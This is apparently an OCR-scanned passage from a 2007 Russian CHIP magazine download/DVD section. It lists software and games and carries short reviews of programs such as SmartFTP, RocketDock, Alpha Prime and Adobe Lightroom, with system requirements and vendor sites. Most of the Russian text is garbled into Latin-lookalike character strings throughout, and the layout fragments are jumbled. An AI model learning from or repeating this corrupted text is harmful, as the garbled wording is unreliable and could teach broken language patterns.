30Bajia no BlueSoleil Bepcnn 1.4 ot IVT 
Corporation. BlueSoleil odecneuHBaeT 
noaaepxKy Bcex Bluetooth-npocjmjieH, 
BKJHOHan PAN, SPP, DUN, FAP, FTP, 
HID, HCRP, OPP, SYNC, AG, AV h BIP. 
TecTbi 3 toto no Ha nK h Hoyrdyicax c 
Windows XP SP2 KaKHx-jin6o npodjieM 

COBMeCTHMOCTH He BbIHBHJIH. 
miaiPI KoMnaKTHbiH pa3Mep h xopoman 
(J)yHKu:HOHajibHOCTb — Bee 3 to Bbi nojiyua- 
eTe no oneHb aocTynHoit u;eHe. 


TEXHMHECKME XAPAKTEPMCTMKM 

CTaHAapT 

► 

Bluetooth 2.0 

HacTOTHbm AnanaaoH, ttu 

► 

2,4-2,483 

MHTepc|)eHC 

► 

USB 1.1 

CxopocTb nepeAaHM 
AaHHbix, M6 ht/c 

► 

3 

30Ha nOKpblTHB, M 

► 

40-100 

Bepcufl ApanBepoB 

► 

BlueSoleil 1.4 

COBMeCTMMOCTb 

► 

Windows 98 SE/ME/ 
2000/XP; Mac OS 
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ABTOPbIHOK 


)i(ypHAJi 


qeHbi 


mm 


TecT-flpaMB 


Ha npaBax peK/iai 







DOWNLOAD/ 

DVD 


Download-xoA 


no/iyneHne flocryna 
k www.ichip.ru/download 

BMecTe c 3tmm HOMepoM Bbi nojiynaeie 
AOdyn k pa3flejiy «DownLoad» Ha HameM 
caMTe, rAe mo>kho HaMTM nporpaMMbi (b tom 
Hi/ic/ie cnepMa^bHbie BepcMM AJifl Hmaie/ieM 
CHIP) m apxMB wypHa/ia b ((DopMaTe PDF. 
Bee 3th AanHbie AOCTynHbi BaM 
b /iio6oe BpeMfl m b jiio6om Mecie. 
Bee, hto A-n^ 3Toro Hy>KHo: 33MTM no aApecy 
www.ichip.ru/download 
m npoMTM npoueAypy perMCTpauMM. 

B rpaejoe «Baiii e-maiL-aApec» c/ieAyeT 
yKa3aib pea/ibHO cyiAecTByfoiAMH m pa6oia- 
k)iamm 3/ieKTpoHHbiM aApec: Ha Hero 6yAeT 
BbIC/iaHO nMCbMO C AaHHbIMM, Heo6xOAMMblMM 

A/ifl pemcTpauMM. rioc/ie aBTopM3aunM ne- 
peMAme b pa3Ae/i «KoAbi >KypHa/iOB» m bb6- 
Ame K0A,yKa3aHHbm HM>Ke. 




O Download O DVD 


» CnncoK nporpaMM - anpe/ib 2007 

1 Windows 

■ Linux 1 

O AusLogics BoostSpeed 3.6.7.625 Lite 

flMCTpi/ibyTMB Sabayon Linux 

O XtraTools 2007 

O Hydrogen drum machine 0.9.3 

O VMware Workstation 6.0 beta 

OO KDE DVD Authoring Wizard 1.4.3 

O PowerStrip 3.73 

O Gobby 0.4.1 

O Belarc Advisor 7.2h 

O KLinkStatus 0.3.1 

O Performance Monitor 2.1 

O KrawlSite 0.7 

O Vopt 8.1 

■ PDA 1 

O SuperCopier 2 

o «najiMmC GPS» 4.3 

O Vista Smoker Pro 1.1 

O ChronMemo 1.02 

O MediaPortaL 0.2.2 

O CRM for Palm 1.1 

O AIMP1.71 

O ChemTable 2.26 

O Mobile High Speed 5.3.6 

O Small CD-Writer 1.4 

O Kingdia DVD Ripper 3.0.6 

O Turbo Passwords 4.1 

O ScrBtn (Screen Button) 2.41 

O Pfrank 1.88 

O ProgDVB 4.81.1 

O SMS Counter 1.2 

O Tic Tac Toe for Palm 1.8 

ConvertXtoDVD 2.1.14 

MediaMan 2.66.2 

O MegaLauncher (Cayman) 6.2 

O Tsk2Cal (Tasks to Calendar) 0.0.1 

BLaze Media Pro 7.1 

O SPB Mobile DVD 1.1.0 

O Right Menu 

O Flash Format 

O Smart FTP 2.0.1001 

O SafeMode 2.1 

O Sylpheed 2.3.1 

O EasySetOwner 

O FireFTP 0.94.6 

O NetFront 3.3 

Web Site Maestro 5.4.1 

O «3anncn Ha naA 0 HM» 1.0 

O Cover Commander 2.7 

O «CjioboEa Ag/ik)kc» 6.0 

O ColorPic 4.1 

OH Flip It! 

Toon Boom Studio 3.5.1 

O Vspainter 1.5 

Noiseware Professional Standalone 2.6 

O Pocket Launcher 3 

PhotoModeLer 6 

■ Ted I 

ScreenShotCaptor 2.25 

nporpaMMbi Ann TB-TKiHepoB 

VizLIp Reducer 2.2.9 

O AverTV 5.3 

O Adobe Photoshop Lightroom 1.0 

o DScaler 4.1.15 

O Security Administrator 11.1 

O FLYDS 2.0 beta 2 

O CryptoExpert 2007 Lite 6.6.1 1 

O ChrisTV Professional 4.99 

O FreePortScanner 2.5 

O Got All Media 6.0 

Spyware Terminator 1.8 

■ BoHyc I 

O Avira Personal Edition Classic 

Maiepuajibi k CTaTbflM: 

O RocketDock 1.2.5 

O «KoMy Hy>KHa Vista?» 

O WinSnap 1.1.9 

OH «Baiua cobCTBeHHan cp0T0M03am<a» 

O XDeskPhoto 1.3.0.909 

O «HyflecHbie nporpaMMbi A/m USB-HaKonme^eM» 

O KlipFolio 3.1 

O «nopipeT b dune non-apT» 

O Ditto 3.9.0 

■ Tpewnepbi 1 

Topicscape 1.06 

06me/ib 3/ia: BbiMMpaHMe/Resident Evil: Extinction 

O Gnumeric 1.7.6 

CkiMncoHbi b KMHo/The Simpsons Movie 

O PeaZip 1.3 

rpMHAxayc/Grind House 

O Schmap Player 2.0 

Be3yHHMK/Lucky You 

LightPad 4.4 

KpenKMM opeiueK 4/Live Free or Die Hard 

FireTune 1.1.4 

H Mrpbi | 

CDWinder 2.6.1 

Alpha Prime 

O Telling Stories 2.0.2 

Ex-Machina: MepMAHaH 113 

O MobTime Cell Phone Manager 6.1.0 

Medieval 2: Total War 

1 Mac OS 

O Air Aggression 

O Adium X 1.0 

OC Arcade Race 

O Capture Changer 1.01 

Devastro 

O DasBoot 1.0.1 

O FIGHT TERROR 3 

O Data Rescue II 1.1.1 

FunnyChewer 

O iServel.O 

Space Fights 

O EyeSight 1.1 

H flpauBepbi I 

O NVIDIA 

O Mac Cleanse 1.0.1 

ATI 

O OSXplanet 1.0.1 

OVIA 

O Proximity 1.0 

Realtek 

O Red Snapper 1.0 

SiS 

O WordDump 1.0.2 

Technotrend 


s±\ 


IAM-KLPSWR-58669 
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trialware 


trialware 


trialware 



Cover Commander 2.7 

O OnbiTHOMy flH3aMHepy 
He cocraBHT Tpyfla co3flaTb 
KpacMByio Kopo6Ky ajia 
K aKoro-/iM6o pea/ibHo cy- 
lAecTBytoiAero m jim BMpTy- 
a/ibHoro npoflyKTa. Ho Aa/ie- 
KOMy ot pa6oTbi c rpac|DMKOM 
ne/iOBeKy 6yAeT BecbMa 3a- 
TpyAHme^bHO npaBM/ibHO coBMecTMTb TeKdypbi 
b eAMHoe pe/ioe, Ao6aBMTb TeHb m OTpaweHMe. 
3iy npo6/ieMy noMO>KeT pewMTb nporpaMMa Cover 
Commander. OHa npocia b Mcno/ib30BaHMM m mo- 
>KeT npnrOAMTbC51 He TO/lbKO H0BMHK3M, ho m 
npoc|DeccMOHa^bHbiM AH3aMHepaM. 

■ OC: Windows 98/ME/2000/XP 

■ 5 l 3 biK MHTepc}jeMca: pyccKnn 

■ Cani: www.insofta.com 



Kingdia DVD Ripper 

O CBo6oAHoro Mecra 
MHoro He 6biBaeT, noaTOMy 
6bi/io 6bi papMOHa^bHee 
KOHBepTMpOBaTb Jlto6MMbie 
DVD,xpaHflmi/iecfl Ha >Kecr- 
it K0M flucKe, b 6o/iee kom- 

naKTHblM CjDOpMaT. 3to 
mo>kho cpe/iaTh c noMOipbto 
Kingdia DVD Ripper. nporpaMMa no3BO/iaeT 
yMeHbiumb pa3Mep DVD npi/i noMOipM KopeKOB 
XviD, DivX m AP- noc/ie Bbi6opa KOAeKa ocraHeT- 
ca TO/ibKO npoBepMTb ero HacrpoMKM, Bbi6paTb 
Heo6xoAMMyio cieneHb KOMnpeccMM m pa3Mep 
pe3y^bTMpytoipero BMAeo. 

■ OC: Windows 98/ME/2000/XP 

■ fl3biK MHiepcpeiica: aHmniiCKnn 

■ Cani: www.kingdia.com 


R 

RocketDock 1.2.5 

O BceM /no6nTe/iflM KpacMBoro m aproHOMMH- 
hoto Pa6onero cmna Mbi coBeiyeM ycraHOBMTb 
nporpaMMy RocketDock, KOTopaa Ao6aB/iaeT Ha 
Hero naHe/ib 6biciporo 3anycKa b cm/ie Mac OS. 
npMHeM OHa aHHMi/ipoBaHHaa, ocHaipeHa Ka- 
necTBeHHbiMM MKOHK3MM m noAAep>KM BaeT 
3H3HKM aHa/iorMHHbix nporpaMM (Mobydock m 
O bjectDock). KpoMe Toro, Henpo3paHHOCTb na- 
He/1M MO>KHO M3MeHaTb, KaK M CTMJ1M, KOTOpbIX B 

nporpaMMe oko/io 30. B pe/iOM RocketDock He 
ydynaeT no KanecTBy KOMMepnecKMM aHa/ioraM 
m pa>Ke npeBoexoAMT HeKOTopbie M3 hmx no 
CKopocTM pa6oTbi, 3aipaHMBa^ npn stom MeHbiue 
CMdeMHbix pecypcoB. 

■ OC: Windows XP 

■ fl3biK MHTepcpeiica: pyccKnn 

■ Cairr: www.punksoftware.com 


SmartFTP 



O CpepM MHO>KecTBa FTP-k/imchtob HHorAa 
nonaAaiOTca HacroaiAMe meAeBpbi. Oahmm 
M3 hmx mo>kho CMe/io Ha3BaTb nporpaMMy 
SmartFTP. flaa HeKOMMepnecKoro Mcno/ib30- 
BaHMa OHa pacnpocrpaHaeTca 6ecn/iaTH0 m 
06/iaAaeT npn stom AOBO/ibHO yAo6HbiM mh- 
Tepcj/eiicoM, noAAep>KKOM npoTOKO/iOB IPv6, 
FXP, NAT/UPnP SSL M B03M0>KH0CTbf0 My/lbTM- 
3arpy3 KM. Hommmo nponero b SmartFTP Bcrpo- 
eH npexpacHbiM n/iaHMpoBipMK 3aAan. C ero 
noMOipbio nporpaMMa MO>KeT aBTOMaTMHecKM 
noAK/noHMTbCfl k Fno6a^bHOM ceTM, CKanaTb/ 
3arpy3MTb cfiaM/ibi m no 3aBepnieHMM pa6oibi 
Bbl K/llOHMTb KOMnblOTep. 

■ OC: Windows 98/ME/2000/XP 

■ R3biK MHTeptpeuca: aH jimmckiim 

■ CawT: www.smartftp.com 


trialware 

MediaMan 2 

O Ec/1M BaM 3H3KOM3 CTpaCTb K KO/UieKpMOHM- 
poBaHMto, to nporpaMMa MediaMan BaM HaBep- 
HflKa noHpaBMra. 3ia He6o/ibwaa yTM/iMTa cra- 
HeT OTJ1 M H H bl M nOMOipHMKOM B Opr3HM3apMM KHMT, 
DVD, ayAMOAMCKOB m/im Mrp. 3aHOCMTb npeAMeibi 
B KO/l/ieKpMIO MO>KHO He TO/lbKO BpyHHyiO, HO M 
Mcno/ib3ya pa3Hbie cpeACTBa aBTOMaTM3apMM. 
HanpMMep, ec/iM y Bac ecTb Be6-KaMepa, mo>kho 
OTCKaHMpoBaTb lUTpMx-KOA 3KcnoHaia, m npo- 
rpaMMa nonbiTaeTca h3mtm no HeMy MHcfiopMapMK) 
o AHCKe m/im KHMre. TaKOM koa mo>kho BBeCTM m 
caMOCToaTe/ibHO. KpoMe 3Toro mo>kho MMnopTM- 
poBaib AaHHbie o KHMrax c caMTa Amazon.com m 
npocMaipMBaib KO/i/ieKpMM b pa3Hbix pe>KMMax. 
Te, kto nacTO Ae/iMTca AHCKaMM c Apy3baMM, Ha- 
BepH^xa o6paTaT BHMMaHMe Ha yAo6Hyio cfiyHK- 
pMio BeAeHMa yneia ao/i>khmkob. A ec/iM Hy>KHO 



no/iyHMTb no/iHbm cnncoK toto, hto ecTb b ko/i- 
/lexpMM, Ha 6yMare, M3 MediaMan 6e3 TpyAa 
mo>kho ero pacnenaiaTb. 

OC: Windows 98/ME/2000/XP 
R3biK MHTeptJieMca: aHrjinPicKMM 
Camr; www.imediaman.com 


XDeskPhoto 1 .3 

O MHorne no^b- 
. XDeskPhoto 30Baie/iM Mcno^b3y- 

f hdt b KanecTBe o6oeB 

A/ia Pa6onero cmna 
cbom ^io6MMbie c|DOTorpac|)MM. OAHaKO CTaHAap- 
THbiMM cpeACTBaMM Windows Ha 3KpaHe mo>kho 
yMecTMTb TO/ibKO OAHy c|DOTorpac|DMK), pacT^Hyryio 
Ha BecbAecKTon. Hio6bi Ha AecKTone no^BM^ocb 
HeCKO/lbKO /lK)6MMblX cflOTO, MO>KHO B0Cn0^b30- 
BaTbCfl nporpaMMOM XDeskPhoto. OHa no3BO/iMT 
«npMK/ieMTb» k Pa6oneMy do^y CKO^bKO yroAHO 
M3o6pa>KeHMM B CMMnaTMHHblX paMKaX. npM 3TOM 
OHM MOryT aBTOMaTMHecKM MeH51TbCfl B paMKaX, 
A/ifl 3Toro Hy>KHO yKa3aTb nporpaMMe nanKy, 
B KOTOpOM OHM XpaHflTCfl. 

■ OC: Windows 2000/XP 

■ fl3biK MHTepc|]eMca: aHmuMCKUM 

■ CaPiT: www.xdesksoft.com/xdp.html 


trialware 


Toon Boom Studio 

O Toon Boom Studio — 

npoc|)eccMOHa^bHafl nporpaM- 
Ma A-na C 03 AaHM^ 2 D-aHMMa- 
KiJ UMM. OHa AaeT B 03 M 0 >KH 0 CTb 

I 11 1 *1 P MC0BaTb KaK Co6CTBeHHblX 

nepcoHa>KeM, TaK m Mcno^b- 
30BaTb roTOBbie s^eMeHTbi 
M3 BCTpoeHHOM 6M6^MOTeKM. 
Bee nacTM npoeKTa, C03AaH- 
Hbie no^b30BaTe^eM, MoryT 6biTb coxpaHeHbi 
b 3tom 6M6^MOTeKe A-na Aa/ibHeMiuero mc- 
no^b30BaHM^. B npopecce pa6oTbi mo>kho 
3aAeMCTBOBaTb HecKO/ibKO BMpTya/ibHbix Ka- 
Mep, M3MeHiiTb mx no/ioweHMe, nepeoioHaTb- 
Cft Me>KAy HMMM M T. A- 

■ OC: Windows 98/ME/2000/XP 

■ fl3biK MHTepcjieMca: pyccKuw 

■ CaiiT: www.bezpeka.biz/ru 


trialware 


Blaze Media Pro 7.1 

O Xopoiuo, KorAa Bee 
MHCTpyMeHTbi A-n^ pa6oTbi 
c cfiaM^aMM My/ibTMMeAMa 
obteAMHeHbi b oahom npo- 
rpaMMe. HaBepHoe, TaK b 
CB oe BpeM^ noAyMa^M pa3- 
pa6oTHMKM BLaze Media 
Pro, noc/ie Hero peiuM^M 
C03AaTb TaKoe npM/io>KeHMe. B MTore b oahom 
o6o/ioHKe OKa3a^MCb npoMrpbiBaTe^b, KOHBepTep 
ayAMO- m BMAeoc|)aM/iOB, BMAeo- m ayAMopeAaK- 
Top, yTM/iMTa A/i a 3anMCM amckob c bo3mo>khoc- 
t5imm 3anMCM cfiaM^OB c AaHHbiMM, ayAMO CD m 
VCD/SVCD, ayAMorpa66ep m 6M6^MOTeKa A-na 
ynpaB/ieHMa cfiaMaaMM. 

■ OC: Windows 98/ME/2000/XP 

■ R3biK MHTepcjieMca: aHmuMCKUM 

■ Cairn www.blazemp.com 
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■ Heo6biHHbiH cio>i<eT, MUTpuryioLuaM axMo- 
ccjiepa, KOTopyio aBTop cyMeji ncxycHO nepe- 
aaTb HHTaTejiio aaxe b xparxoM o6beMe npo- 
H3Be/ieHHa, — Bee 3 to nocTaBHjio «Eejiyio 
TpocTb Kajni6pa 7.62» b pm JiyHiiinx nporoBe- 
aeHHH MHpOBOH HayHHOH (JiaHTaCTHKH. 

Il03T0My, KOr^a CTaJIO H3BeCTHO, HTO 
OHAxeH Hec^ Hanncaji cijeHapHH k 
HOBOM y npoeKTy nemcxHx nporpaMMnc- 
tob, rnyrepy Alpha Prime, 3 to Bbi3Bajio 
Gojibihoh HHTepec. 

HTax, nrpa npeflCTaBjraeT co6oh BnojiHe 
TpaAHu;HOHHyK) CTpejimixy c 3axpyneH- 
hbim Hay^HO-^aHTacTiraecKHM cioxceTOM. 
MrpOK OKa3biBaeTCH 3anepTbiM b maxTax, 

trq eMy npHxoflHTCH cpa>KaTbCH c corner - 

muMH c yMa padoHHMH, nopaxeHHbiMH 
pa^HaiiHeH po6oTaMH h rpynnaMH cneu- 
Ha30Bu;eB. IIo xo#y ttencTBHH nrpoxy 
npe^CTOMT pa3ra^aTb HeMajio 3ara#ox, 
Tax HTO He CTOHT BepHTb TOMy, kto cxa- 
xeT, hto cijeHapHH nrpbi noAxanaji. 

no o 6 uxeMy BnenaTjieHHK) ot rpacfmxH 
Hrpa HanoMHHaeT Doom 3, xoth ocHOBa- 
Ha Ha co 6 cTBeHHOM ABmKxe Enforce 2 . 
TeHH, kohchho, no Doom 3 He noTHruBa- 
K)T, 3 aTO OnTHMH 3 aHHH Ha BbICOTe: npH- 
jiHHHoe KOJimiecTBO xa/ipOB b cexyH/iy 
Aaxe Ha cjia 6 bix MamHHax. <J>H 3 HKa ocho- 
BaHa Ha H 3 BecTHOM flBmKKe Ageya PhysX, 
a ABHaceHHH nepcoHaxeH 3 a#aBajiHCb 

peaJIbHbIMH JHO£bMH npH nOMOLHH TeXHO- 
jiothh motion-capture. no3TOMy b o6meM 
h u;ejiOM nrpa HaxoflHTCH Ha xpenxoM 
COBpeMeHHOM TeXHHHeCKOM ypoBHe. 

Heo 6 xOAHMO OTMeTHTb OUeHb CHJIbHblH 
HCKyccTBeHHbiH HHTejuieKT BparoB. Ohm 


Demo 


Alpha Prime 

CpeHapi/m k 3tom nrpe 6 bm Hani/icaH neiucKi/iM cfDaHTacTOM 
0 H,q>KeeM HecpcpOM, KOToporo pocci/mcKnn HUTaTe/ib M 0 >KeT 
noMHi/iTb no noBecrn «Be/iaa TpocTb Ka/ii/i 6 pa 7 . 62 ». 


oSjia^aiOT noBbimeHHbiM hhcthhktom 
caMOCOxpaHeHHH h jiHineHbi npHBbiHHbix 
cyHu;HAajibHbix npHBbinex, Taxnx xax 
nOCTOHHHblH BbIXOA Ha JIHHHK) OTHH, 

napy cexyH£ 3a£yMHHBOCTH, nepefl TeM 
Kax c^ejiaTb BbiCTpeji h t. a. noyMHeBmne 
npoTHBHHKH H3 Alpha Prime hh 3a hto 
H e BbiH^yT b npocTpejiHBaeMoe npo- 
CTpaHCTBO, a ecjiH c^ejiaiOT 3 to, to tojib- 
ko c npeAynpeAHTejibHbiM oraeM, h BaM 
npH^eTcn 3ajienb b yKpbiTHe. npH Heo6 - 
xo^hmocth ohh MoryT npocTO yapaTb, 
CTpejum BCJienyio Ha3a#, htoGbi nrpOK 
He B3#yMaji hx npecjie#OBaTb. Ha6op 
TaKHx Bbixo^OK BecbMa 03CHBjineT npo- 
itecc nepecTpejiKH. 

Oeo6eHHOCTb HTpbl — 3TO TO, HTO OHa 
y mhothx ocTaBjineT nyBCTBO AexaBio. 
O^hh cpaBHHBaiOT ee c Doom 3, a py- 
rae — c F.E.A.R., TpeTbH — c Chaser. 

Tax xe Kax h b cjiynae c Chaser, MHe- 
hhh no noBO^y Alpha Prime pa3,aejiH- 
jiHCb. OflHH ycHjieHHO pyrajiH nrpy, b to 
BpeMH Kax ttpyrne He MeHee aKTHBHO ee 
xBajiHjiH. B cyirprocTH, npaBbi 6 bijih o6e 
CTopoHbi. Ha 3anaae nrpbi co3naiOTCfl 

£JIH TOTO, HT06bI OXBaTHTb mHpOKyio 


ay^HTOpHK), no3TOMy b hhx nrpaiOT Bee. 
Hemcxne nporpaMMHCTbi, HanpoTHB, 
npHHafljiexaT k CTapon mKOJie Hfleajmc- 
tob, no npHHiinnaM xotopoh HeodxoflH- 
mo AeJiaTb nrpy He Taxon, xaxon ee xotht 
BH^eTb Bee, a Taxon, xaxon OHa ^ojuKHa 
6biTb. Hexn BOoOnje cjiaBHTcn cbohmh 
nrpaMn: BcnoMHHM n BejinxojienHyio 
Mafia, n Operation Flaspoint, n Bbimen- 
mnn He^aBHO Armed Assault. Bee ohh c 
dojibniHM TpyzjOM HaxoAnjin cbohx nox- 
jiohhhxob Ha 3ana^e, 3aTO y cjiaBHH, h b 
Poccnn B HaCTHOCTH, OHH HMeJIH OTpOM- 

hbih ycnex. Ho x 2007 ro,ay MHorne nrpo- 
xn yace CTajin noxoam Ha cbohx coTOBa- 
pHmen H3 CTpaH EBponbi h AMepHXH. 
Ohh u;eHHT b nrpax ttpanB, Becejibe, xom- 
(JiopT h nponne OTBjieneHHbie Bemn. 
TaxHM jhoahm nrpa Alpha Prime xaTero- 
pHHecxn npOTHBonoxa3aHa. Ecjih xe bbi 
npHHaAJiexHTe x «CTapon TBapflHH» h 
ijeHHTe b Hrpe hmchho caM npoijecc, 
roTOBbi AOxonaTbcn ro ee cym, to Bnoji- 
He bo3mo3cho, hto Alpha Prime co 3 #aHa 
HMeHHO RJW Bac. 

■ 0C: Windows 98/ME/2000/XP 

■ Cain: www.alpha-prime.com 
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oo 

AusLogics BoostSpeed 3.6.7.625 Lite 

Hana/ii/icb npo6jieMbi c Windows? CncTeMa topmo3i/it, 3aBncaeT, nocroAHHO BbiBOfli/iT coo6- 
u\enm 06 oiundKax? Pewmb 3ti/i npobneivibi mo>kho npn noMomn nporpaMM-TBi/iKepoB, 
no 3 BOJiBK)ii^nx b CHi/iTaHHbie Mi/myTbi ycTpaHi/iTb HenonaflKn b CMCTeivie n ycKopnTb paboTy. 



■ Oahoh H3 Tarax nporpaMM aBjiaeTca 
BoostSpeed. OHa He Tax aaBHO noaBjia- 
jiact Ha HarneM ancKe, h TenepB mbi 
BBIKJ iaABIBaeM HOByiO 3KCKJH03HBHyiO 
BepCHio Rim HaniHx HHTaTejien. 

Lite-BepCHH nporpaMMBi BoostSpeed, 
KOHerao, HeMHoro ype3aHa, ho, HecMOT- 
pa Ha 3 to, b Hen ecTB Bee HeodxoanMoe 

AJIH KOMHJieKCHOH OnTHMH3au;HH CHC- 
TeMBi. IIporpaMMa MoaceT nocToaHHO 
padoTaTB c aapOM onepaanoHHOH chc- 
TeMbi, yaepacHBaa CHCTeMHBie (JmnjiBi b 
onepaTHBHOH naMaTH. KpOMe Toro, 
nojiB30BaTejiB MoaceT bbicbo6oahtb npn 
vKejiaHHH 03Y noa jnodbie Hyamti b 
jik)6oh MOMeHT. Taicace nporpaMMa 
onTHMH3HpyeT (jDaHJiOByio CHCTeMy h 
aBTOMaTHHeCKH OTKJHOHaeT HeBOCTpedo- 


BaHHBie CHCTeMHBie cnyacdBi. ITomhmo 
3TOTO n0JIB30BaTeJIB MOaceT yBeJIHHHTB 
ckopoctb 3arpy3KH Windows, BBidpaTB 
OnTHMaJIBHBIH no CKOpOCTH padoTBi 
BHeiHHHH BHA OnepaiJHOHHOH CHCTeMBI, 
yCKOpHTB padOTy nOHTOBBIX H ocJdhchbix 
nporpaMM, 6pay3epOB h HeKOTOpBix 
CHCTeMHBIX KOMnOHeHTOB. 

KpOMe nepenHCJieHHoro BoostSpeed 
HMeeT HeCKOJIBKO AOnOJIHHTeJIBHBIX 
yTHjiHT, cpean kotopbix ecTB Banner 
Killer — npHjioaceHne, djiOKHpyioiaee 
HeacejiaTejiBHyio peKJiaMy. B ee nocTO- 
HHHO odHOBjineMOH 6a3e aaHHBix HMe- 
eTca cnncoK caiiTOB, c kotopbix o6bihho 
3arpyacaiOTca BcnjiBiBaioiaHe OKHa. 

■ OC: Windows 98/ME/2000/XP 

■ Cain: www.auslogics.com 


demo 


Warnnrm GPS 4.3 

CeroflHa, Bbixofla n3 flOMa, ropa3flO npome B3HTb c codon KI1K 
c KapTon ropo,qa, HeM pacnenaTKy Mapiupyia Ha dyiviare m/im 
6yMa>KHyio xapiy ropofla. Oco6eHHO, ec/in y Bac ecTb bo3mo>k- 
HOCTb flOKynmb fl/ia CBoero HaaaflOHHi/iKa GPS-MOfly/ib. 


■ B 3tom cjiynae ocTaeTca tojibko 
BBidpaTB nporpaMMHoe odecneaemie, 
KOTOpoe 3aMeHHT npOBOAHHKa no 
He3HaKOMOH MecTHOCTH. nporpaMMa 
«najiMraC GPS» npeanaraeT nojiB30Ba- 
Tejno bo3mo3chocth no OTodpaacemno 
KapTBI MecTHOCTH B pa3JIHHHBIX MaCIH- 
Tadax, MoxceT padoTaTB b 3D-peaniMe, 
KOTOpBiii ropa3ao yaodHee odbiMHoro 
cnocoda OTodpaaceHHa KapT. Eiae oanH 
BaxcHBin MOMeHT — nporpaMMa coaepaorr 
cnpaBOHHyK) HHcJxrpMaHMK) od odbeicrax, 
yKa3aHHBix Ha KapTe. EIomhmo 3toto b 
nporpaMMe peajiH30BaHBi yaodHaa cncTe- 
Ma noHCKa h (JiyHKHHa npoiciaaKH Mapin- 
pyra aBrnKenna Ha aBTOModHjie. KcTam, 
BoaHTenaM aojiacHa noHpaBHTBca B03- 


MoacHOCTB «najiMrHC» nonyaaTB b 
peajiBHOM BpeMeHH HHC^opMaipno o 
npodxax Ha aoporax h npoicjiaaBiBaTB 
MapmpyT ncxoaa H3 3arpyaceHHOCTH 
TpaHcnopTHBix apTepHH ropoaa. Taioxe 
nporpaMMa MoaceT OTodpaacaTB djinacan- 
nme k Mapinpyry cneaoBaHHa 3anpaBoa- 
HBie CTaHIJHH, Mara3HHBI H T. a. 

HHTaTean acypHaaa Moryr nonpodoBaTB 
nopadoTaTB c nporpaMMon decmiaTHO. 
EaHHCTBeHHoe orpaHHaeHne aaHHoit 
BepCHH — ype3aHHBie Bepcnn KapT. TaK, 
KapTa Mockbbi orpamnieHa paMKaMH 
TpeTBero TpaHcnopTHoro KOJiBua, a moc- 
KOBCKaa odjiaCTB — BTOpOH «deTOHKOH». 

■ OC: Windows Mobile 2003/5.0 

■ Cain: www.kiberso.com 



nAJiMruc GPS 


1 3D-pe>KHM, cjjyHKunn noucKa 
o5i>eKTOB b6jim3m nponoiKeHHoro Mapiupyia m 
cnpaBOHHan uHtjiopMaunn no hum He flaflyi 
3a6nyflMTbcn b nywoM ropofle 
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H3E> CHIP DOWNLOAD/DVD KoMMepnecKMM cocpT 


** Download/DVD 


1 

Adobe Photoshop Lightroom 

e 


PeAaKTop RAW-$otochmmkob 

® 

2 

Telling Stories 2.0.2 

o 


Opi/in/ma/ibHan (froTora/iepefl 

® 

3 

Avira Personal Edition Classic 



AHTMBi/ipycHan 3aiAMTa 

® 

4 

MobTime Cell Phone Manager 

o 


CHHXpOHM3apnn C Te/iec|30H0M 

© 

5 

SPB Mobile DVD 1.1.0 

o 


KoHBepTapi/ifl Bi/iAeo Ana KflK 

® 


Download O DVD 


llpOHBKa i|MC|)pO- 

BblX HeraTMBOB 

Ec/ii/i Bbi xoTi/iTe nojiynuTb KanecTBeHHbie 0OTorpa0nn, Heofixo- 
flMMO padoTaTb c M3o6pa>KeHi/mMi/i b cpopMaie RAW. KoMnaHMfl 
Adobe BbinycTwia nporpaivnviy, KOTopan He TOJibKO o6pa6aTbmaeT 
Cbipbie chi/imkm, ho m no3BonaeT KaTajiorn3npoBaTb MX M npefl- 
CTaBJlHTb B CaMOM yflObHOM BMfle. 



Ilocjie HecKOJibKHx 6eTa-BepCHH BBimeji 
nepBBift nojiHOiieHHBiH BapnaHT AaBHO 
OXHAaeMOH (jDOTOJIK)6HTeJI5IMH npo- 
rpaMMBi. IlpexAe Bcero Lightroom 


npeAHa3HaHeHa ajih 
pa6oTBi c (J)opMa- 
tom RAW, b h eft 
nojiB30BaTejiB Haft- 
RQT BCe, TOD HyDK- 
HO Alia KOppeKIDHH 
(})0T0H306pa3CeHHH. 
HMeeTCH RB 3 . BH^a 
KaTajiorH3aiiHH 
CHHMKOB. IlepBBffl 

H3 hhx npe^nojia- 
raeT AobaBjieHne b 
KOJIJ ieKIDHK) TOJIBKO 
CCBIJIOK Ha (JiaftjIBI. 
Btopoh pe>KHM jia- 
eT bo3mo3chbim yn- 
paBjieHHe cjDaftjiaMH H3 nporpaMMBi— 
HanpHMep, yaajieHHe, KonHpoBaHne . 
IIocjieAHHH MeTOA yttobeH npn chhxpo- 
HH3HpOBaHHH KapTBi naMHTH c 6h6jiho- 


TeKOH CHHMKOB, XpaHiHIjeftCH Ha KOM- 
nBiOTepe. B nporpaMMe HMeiOTCH cpe^c- 
TBa Rim pa6oTBi c idbctom h hpkoctbio, 
KOMneHcaijHeH tohob, 3Kcno3HH;Heft, 
KoppeKijHeH u,BeTOBOH TeMnepaTypBi 
(BKJiaflKa «Develop»). Hhjkc pacnojiara- 

KDTCH 6oJiee TOHHBie HHCTpyMeHTBi: 

«Curves», «HSL Color Tuning», «Camera 
Calibration. Taxace b Lightroom moxho 

HailTH cjDyHKIJHH AJIH nOBBimeHHH ACTa- 
JIH3aiDHH H306paxeHHB H yCTpaHeHHB 
xpoMaTHnecKHx abeppaijHH. 06pa6oTaB 
CHHMKH, H3 HHX M03CH0 C03#aTB HTML- 

hjih Flash-rajiepeio ajih nybjiHKaijHH b 
HHTepHeTe. 



MCTOpiM )KM 3 HM 

Telling Stories — opnn/majibHan nporpaMMa, 
nepeocMbic/ii/iBaiOLnafl KOHpenpnio BceB03- 
MO>KHbix opraHan3epoB My/ibTMMeAMMHbix 
c|3an/iOB. OiaBHbiM o6BeKTOM 3flecb ab/hhotoi 
H e n/ien/incTbi n/in 6n6/inoTeKM, a >KM3Hb ne- 
jiOBena. OcHOBHan pa6oia c nporpaMMon 
npokicxoAMT b pewnMe BpeMeHHon jwhmm, Ha 
KOTOpOM MO>KHO OCTaB/lflTb 3anMCM 0 B3>KHblX 
npOMCLlieCTBI/lflX, BMAeO- M/I M c|}OTOAOKyMeH- 
Tbl, 3ByK0Bbie C)DaM/lbl I/I JIM TeKCTOBbie MHTep- 
BblO. Ha «J1 M H M K) >KM3HM» TaiOKe HaKJiaAblBa- 
kdtch MdopMHecKMe AaTbi, HanpnMep 

118 


naAeHMe Bep/WHCKon cieHbi mjim nepBoe k/io- 
HMpOBaHHOe yneHblMM >KMBOTHOe. HeCKO/lbKO 
OMpanaeT KapTMHy to, hto tbkmx 3anncen He- 
MHoro. B c/ieAyioLAMx Bepcnax nporpaMMbi xo- 
